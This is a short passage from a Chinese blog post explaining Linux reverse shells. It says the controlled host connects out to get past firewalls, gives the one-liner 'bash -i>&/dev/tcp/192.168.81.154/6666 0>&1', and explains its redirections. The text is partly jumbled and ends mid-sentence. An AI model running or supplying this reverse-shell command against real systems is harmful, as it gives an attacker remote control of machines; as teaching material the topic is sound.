m0_73199983的博客

原创 Linux反弹Shell

被控端主动发起连接请求连接控制，通常被控制端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收送过来的数据包。被控端bash -i>&/dev/tcp/192.168.81.154(控制端IP)/6666 (控制端想要开放的端口号)0>&1bash -i打开一个交互式的bash shell。>&或者&>>&、&>：混合输出（正确、错误的输出都输出到一个地方），将标准输出、错误输出全都重定向到 /dev/tcp/HOST/PORT，即控制端如果不想用>&或者。